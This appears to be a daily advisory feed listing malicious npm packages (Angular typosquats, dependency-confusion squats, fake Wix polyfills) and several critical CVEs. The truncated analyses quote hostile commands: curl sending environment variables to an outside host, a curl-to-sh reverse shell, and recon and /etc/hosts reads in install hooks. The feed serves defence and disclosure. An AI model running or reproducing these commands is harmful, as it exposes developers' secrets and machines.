MAL-2026-17531	New					npm:api-nebula	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b8232ec7756422686c2bce805fc87821e61a5bd9176cdb2fe7c3190fd2b2eae2) The package declares `preinstall`: "node preinstall.cjs" in package.json, and preinstall.cjs is a single-line ~187 KB `Function("pbelUC", "...")` invocation implementing a custom PRNG plus string-table decoder (numeric c...
MAL-2026-17532	New					npm:@abgular/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4c4c8470613dc3a49e249f1a9f91bc756bb9b4323c78268b35816f07e78a0a9b) Package name `@abgular/core` is a single-character transposition of `@angular/core` and copies that package's description, author, and repository metadata. The package.json declares a `postinstall` script that runs `curl...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17533	New					npm:@anfular/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (eefc706854c122c96c898da5d4db285f26e31430f25451e5d1073a31db5e5341) Package @anfular/core@22.2.1 is a one-character typosquat of @angular/core, with manifest fields impersonating the official Angular package (scope @anfular, description 'Angular - the core framework', author 'angular', r...
MAL-2026-17534	New					npm:@angjlar/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1dc3c51d631036eabc2b2933bcf3b7f2c08fe45d193136641e484456ba55a6d9) Package @angjlar/core impersonates @angular/core: its package.json copies the real Angular project's description ('Angular - the core framework'), author ('angular'), and repository URL (github.com/angular/angular.git), ...
MAL-2026-17535	New					npm:@anguar/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (428f991afc1ada001d59a546b8290c039dc16c98f6e497346acd87b8c08034eb) Package @anguar/core impersonates @angular/core: scope name differs by one letter and package.json name, description, author, and repository metadata are copied from the real @angular/core. The package.json declares a po...
MAL-2026-17536	New					npm:@angulaar/cli	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (33d4a58c855f9b549d39f194483ee19730552bbb47a279f73237c8a403708d20) Package name '@angulaar/cli' (double 'a') is a one-character edit of '@angular/cli'; README, LICENSE headers, and source files are copied verbatim from the real Angular CLI (Google LLC copyright, angular.dev license URLs...
MAL-2026-17537	New					npm:@angulaar/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (42861c7641349d2f58380e4f81b13ad9738dd254f224e9f7f239d9cf940cf792) The package's package.json defines a postinstall lifecycle script that fetches a JavaScript file from a non-publisher host (gitflic.ru, proxied via web.archive.org, at the path /project/hellscripiter/install-scripts/blob/...
MAL-2026-17538	New					npm:@angulr/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c24dfd4b0a686b9056ff662e6fee53edfe23c7a94a5edf93fb4cace176216518) The npm package '@angulr/core' masquerades as Angular's '@angular/core' by cloning its package.json metadata (description 'Angular - the core framework', author 'angular', repository angular/angular, ng-update packageGro...
MAL-2026-17539	New					npm:@angupar/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (61d3f74118d7ca9e50d79028ad472e56f68c8f86111fb03973a0c01a00b4cd84) Package impersonates @angular/core (name @angupar/core, author field "angular", repository pointing at github.com/angular/angular, README copied from Angular). Its package.json postinstall script runs `curl -L https://we...
MAL-2026-17540	New					npm:@anngular/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (93d2078e85dc301d6b0299c93ff5e0e5e2c717290e88f18de85fce6554f2d027) Package name @anngular/core (double-n) impersonates @angular/core, copying its description 'Angular - the core framework' and author 'angular'. package.json declares a postinstall lifecycle script: `curl -L https://web.a...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17541	New					npm:@anuglar/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5f23ef78cc88817166cff7f8fd3f1839c610880d960d9394e286da232058f98) Package name '@anuglar/core' is a one-character transposition of '@angular/core' and copies the legitimate package's description ('Angular - the core framework'), author ('angular'), and repository URL to impersonate it...
MAL-2026-17542	New					npm:@inpeek/odata	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (dad085b4b3e089d6a6d4e6812c66a8b45f10d40bc4ab39ea7bd0ce850d17ed4b) @inpeek/odata@99.99.100 is a dependency-confusion placeholder published to the public npm registry on the unregistered @inpeek scope with an inflated version (99.99.100) designed to outrank any internal release of the sa...
MAL-2026-17543	New					npm:@inpeek/odata-angular	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (914508dbfa95a3d2cef5aef321a656215797f477c161a8c234e76256db6cac65) @inpeek/odata-angular@99.99.102 is a dependency-confusion squat on the private @inpeek scope, published to the public npm registry at an inflated version (99.99.102) to win resolution against an internal package of the s...
MAL-2026-17544	New					npm:@qngular/core	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e83437986b94381cddff72267bc53907d980e1b14dbfef9123aa47f5ed664664) Package '@qngular/core' is a one-character typosquat of '@angular/core' and copies the real package's description, author, and repository metadata. The 'postinstall' lifecycle script in package.json runs `curl -L https://...
MAL-2026-17545	New					npm:abbishal-poc	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32) On `npm install`, package.json's preinstall hook runs `sh./test.sh`, which uses character-split variable obfuscation (b=e, i=c, s=n, h=u, a=v, l=r) to reconstruct and execute `curl -d "\$(env)" https://abbishal.com/sh/po...
MAL-2026-17546	New					npm:aria-live-region-helper	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (391a9a163273e36e3945f918ea720b8e10aa462b0aa603d4012b28c557c58570) The package is advertised as an ARIA accessibility helper but ships thunderboltRegistry.js, which executes a top-level IIFE on module load. The IIFE runs shell reconnaissance commands via child_process.execSync (whoami, ...
MAL-2026-17547	New					npm:css-at-scope-polyfill	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c4d8d974b7fabf04fa662971cd8041fb76775bf5ed2902cbbffed0f881e2036d) Package is published under a CSS-polyfill name but ships thunderboltRegistry.js, which exports Wix internal registry module names (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, etc.) so that a ...
MAL-2026-17548	New					npm:css-ayucyz-polyfill	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d8c7540d3981f510255434529f76a2ed9a24b0783e7e8e3369b41f71b93ebd1a) On require, thunderboltRegistry.js runs an IIFE that acquires child_process via multiple fallbacks and executes shell commands (id, whoami, uname -a, ifconfig/ip addr, cat /etc/hosts), then GETs the collected output alon...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17549	New					npm:css-display-reading-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (b397798b7209f1094c33dc3ed721d4a3ef0536065317bd06bae76e33dd505334) The package ships payload.bundle.min.js, which on load runs an IIFE that invokes child_process.execSync to run id, whoami, and uname, collects os.hostname(), node version, process.platform, and pid, and transmits the res...
MAL-2026-17550	New					npm:css-dwsawd-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (1c370cda09695e44d06a44bc14d14817edadc047e4dad0314edcfc752be796e9) The package name mimics a Wix thunderbolt polyfill and ships a registry-manifest.min.json that aliases legitimate @wix thunderbolt registry module names to thunderboltRegistry.js. On require, thunderboltRegistry.js runs ...
MAL-2026-17551	New					npm:css-gvqmfn-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (ffb3f332a818748252e49dcf21ffb6949c531afd401ee697cc08ba00a067ae30) css-gvqmfn-polyfill mimics Wix internal @wix/thunderbolt-* CSS polyfill naming and ships a Proxy-based cover stub that re-exports registry names (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, e...
MAL-2026-17552	New					npm:css-hgwctv-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (ee1103a16c6f933686f07e8ce94068057f49e5cf2f0a6a9ccf01f2baeb7cfe95) On require, thunderboltRegistry.js runs an immediately-invoked function that uses child_process.execSync to collect host identity and network reconnaissance from the installer's machine (`id`, `whoami`, `uname -a`, `ifco...
MAL-2026-17553	New					npm:css-ikomdq-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (255cceca3ca8631c9b225745c5b64a71fd6c09b60fa3ad95b419fccb66f035f2) The package presents itself as a CSS polyfill but ships thunderboltRegistry.js, which on require() executes a top-level IIFE that runs id, whoami, uname -a, ifconfig/ip addr, and reads /etc/hosts via child_process.execSy...
MAL-2026-17554	New					npm:css-mpmdds-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (4bac0cb0a2c693985668a890ff2ace72ff2d00dac60bc5470a77160c4d765106) The package presents itself as a CSS polyfill but ships thunderboltRegistry.js which runs an IIFE at module load. The IIFE acquires child_process via multiple fallbacks (require('child_process'), require('node:child_proc...
MAL-2026-17555	New					npm:css-nbanqq-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (7377a70c94f8fd1719147b2023860926935a70410f672e07411326284f11a69f) The package impersonates Wix thunderbolt internal registry modules (exporting `thunderboltRegistry`, `siteAssetsRegistry`, `editorRegistry`, `corvidRegistry`, etc. and shipping a `registry-manifest.min.json` referencing ...
MAL-2026-17556	New					npm:css-ogojwh-polyfill	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (aff543635c832e0563229f42fcc7673c835f2ba5a9ae41d680aa572cfba49765) css-ogojwh-polyfill@1.0.0 presents itself as a CSS polyfill but ships thunderboltRegistry.js which, on require, runs an IIFE that executes shell commands via child_process.execSync (id, whoami, uname -a, ifconfig/ip addr...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17557	New					npm:css-svqggc-polyfill	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6b23cf39720388bcf9f26621bd52e256e18a011bf3b6821b7d9f5f60115b9663) Package masquerades as a CSS polyfill while impersonating internal Wix Thunderbolt registry modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, and other namespace stubs), with a shipped reg...
MAL-2026-17558	New					npm:css-txedrf-polyfill	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7d70c660ff3138360df0239fc6ef3db7beaca61ca069bc2d108ed893c68acb63) thunderboltRegistry.js executes an IIFE at require time that runs OS reconnaissance commands (id, whoami, uname -a, ifconfig/ip addr, cat /etc/hosts) via child_process.execSync, URL-encodes the output together with hostn...
MAL-2026-17559	New					npm:hardhat-kex	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b8fa212654344b734814cee2291c9b9b91ecbc353bde5e83740624ee5f263c69) The npm package hardhat-kex@2.0.1 ships an obfuscated 4.5MB single-line bundle at lib/config.js (obfuscator.io-style string-array with a 26,234-entry table and numeric-dispatch wrapper, containing exec strings). The pack...
MAL-2026-17560	New					npm:hardhat-spack	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e59c971c63de9d0a7f66c26093f528164990af10eca00a3a36b97d0c8b0a6d0d) The package is published as hardhat-spack but presents itself internally as a pino-like logger. Its main export is a middleware factory that spawns lib/caller.js as a detached child process. caller.js and lib/const.js de...
MAL-2026-17561	New					npm:insomnia-plugin-api-lint-helper	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f3572e41f2e2e83a3156c1b24bf8684c0149a508e45626e80c592657cfb475ba) index.js, the package's main entry, runs at require() time with no user interaction. On load it spawns OS-native calculator processes via child_process.exec ('calc.exe' on Windows, 'open -a Calculator' on macOS, 'gnome-c...
MAL-2026-17562	New					npm:internallib_v923	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2d02d4c28dbcb2db331a6da7dba2476e3b7daf4f4d53d51d76d79ad4732d28a4) index.js exports a command() function that shells out via /bin/bash -c to curl a payload from reverse-shell.sh and pipe it to sh, yielding a reverse shell to the hardcoded callback host 10.0.72.151:443. Any consumer requ...
MAL-2026-17563	New					npm:risk-detection	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4b74a904a25687bbc34ad321ea019c5083f9a3651457750ed36207a209798f77) package.json declares a dependency `ltidisafe` whose source is an off-registry tarball URL ('https://ltidi.storage.googleapis.com/depconf/ltidisafe-3.8.1.tgz') rather than a semver range on the npm registry. The shippe...
MAL-2026-17564	New					npm:tostpro	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183) The npm package tostpro@100.2.0 ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shel...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-17565	New					npm:typesens	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3ded39f31b2c2d4d73e0b576ab862c9ed90688153a43c359dae5b26854ad8738) package.json declares postinstall `wscript.exe 4444.vbs`, which runs automatically on `npm install`. The shipped 4444.vbs (~765 KB) contains a multi-layer decryption chain (AES S-box, ChaCha20-IETF, SHA-256 constants XOR...
MAL-2026-17566	New					npm:unified-platform	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f8d42d95f6d25be97f23633f7088e06ac7faf2bd7f4fbc20fa85b5be18c90f6b) package.json declares a single dependency 'ltidisafe' sourced directly from the off-registry URL https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.2.tgz, with no registry version range and no integrity hash. O...

Significant updates today - original Published Date retained

None in this window.

Added to CISA KEV today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-88779	Added to KEV			Yes	0.003	citrix:netscaler	Citrix NetScaler ADC (formerly Citrix ADC) and Citrix NetScaler Gateway (formerly Citrix Gateway) contain an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow for a denial of service.

P1 new today

None in this window.

P2 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-105207	New	9.8	CRIT				ZITADEL 3.0.0 through 3.4.15 and 4.0.0 before 4.17.3 creates links between user accounts and external identity providers without verifying a primary factor or the caller's permission, including on identify-only Login V2 sessions and via the User Service V2 AddIDPLink endpoint. An unauthenticated attacker knowing a victim's login name can bind their own external IdP identity ...
CVE-2026-105209	New	9.6	CRIT				ZITADEL 3.x before 3.4.15 and 4.x before 4.17.1 contains an improper authorization vulnerability: when issuing passkey or passwordless enrollment codes, it checks only the organization in the x-zitadel-orgid header, not the target user's organization. Attackers with user-write permission in one organization can obtain an enrollment code for a user in another organization on ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-103355	New	9.3	CRIT		0.003		Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Unlimited Elements Unlimited Elements For Elementor (Free Widgets, Addons, Templates) unlimited-elements-for-elementor allows Blind SQL Injection.This issue affects Unlimited Elements For Elementor (Free Widgets, Addons, Templates): from n/a through 2.0.20.
CVE-2026-105215	New	9.1	CRIT				ZITADEL before 3.4.14 and 4.x before 4.16.2 contains an authentication bypass in the hosted Login V1 UI because the 'external account not found' registration endpoint trusts client-supplied external identity fields without a completed IdP callback. Unauthenticated attackers can submit forged IDPConfigID and ExternalUserID values to pre-create an account bound to a victim's e...

Historical reports are not rewritten when an older CVE changes. A CVE published on an earlier date remains in that earlier daily report; a meaningful change is shown separately in the update section for the date on which the change was detected.